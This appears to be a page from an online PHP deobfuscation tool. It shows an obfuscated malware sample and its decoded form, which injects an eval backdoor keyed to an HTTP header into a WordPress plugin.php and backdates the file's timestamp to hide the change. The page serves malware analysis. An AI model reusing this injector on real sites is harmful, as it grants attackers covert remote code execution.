Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wpUgNGpryGCA08aEwSGl5pdAQmKYoOE4T4thR4kCSaf99..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo3OToiL2hvbWUvcGxhdG5lL3NlcndlcjIwODQ3L3B1YmxpY19odG1sL21lZGlhY29uY2VwdC5jb20ucGwvd3AtaW5jbHVkZXMvcGx1Z2luLnBocCI7aToxO3M6NzoiQTFCQzJBNyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0ExQkMyQTcnXSk7IjtpOjM7czozNjoifl5ccypmdW5jdGlvblxzK2FkZF9maWx0ZXJbXlx7XStce35tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (strstr($source, $systemEnv) !== false) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
if (strstr($newSource, $systemEnv) === false) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVFrb9owFP2OxH9wpUgNGpryGCA08aEwSGl5pdAQmKYoOE4T4thR4kCSaf99Dg2FbpU2K1Ku7XPPPee4Xou8aECJa9jYd2yGxNvNikpzwqL5/q4DC6rOV9SfKN5ht34+QC3zHK2FJ+oMQ+JguB8f5990daL25U2YRRu5Sx1NTiaKjLca9jZKN90oxtEZtPY7RUqhdjw46h2z13x/bwRbc1pyylsFpxPSp3Aw7tgrms3VaXtWUF9fjQZ68dCf5afzvDyfFuP2OOhjJxwlj4Mn91kylkZgLNe5MzZGT7opDTM9mOb6ChJzGXTG+9LLtPRSzPbUd3ELwjwKHa7B0fBhh7PiURkF21E3tNeZtDUfdibOOuaSQaS2GO/v3ja+1mtuSiDzKQF/RiYkKG6An/VavQb4wn7CgCi4KcYLm3lNICR5wlA4JAdeQ+og/otsxlBMGqAHUsL7fU5WIHFnJ6j9xXJQCXslLkeXtEJC0xgi3uD6GFkviFmQEoYISy7DzmDfBWLCYv6JVd+1jAa46XEaGyfopBtUK0YsjUlF8evCdBPF6MUKbQY98ay8CS7EpxuUNP5JJhB0XJ5tcHFWjCJsQ+60ovgu/agyAp/B4n5hDecTXr2/fp37kdU3+vdue//tViizDZkfnnM+1Vf5gk9AlqqelGCfBH+Hf3qfKP3ofZpXEZzhjKZlrleQt8ElhCv7DQ==")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 700fbc838f8330896d174bb60d85c46e |
Eval Count | 1 |
Decode Time | 63 ms |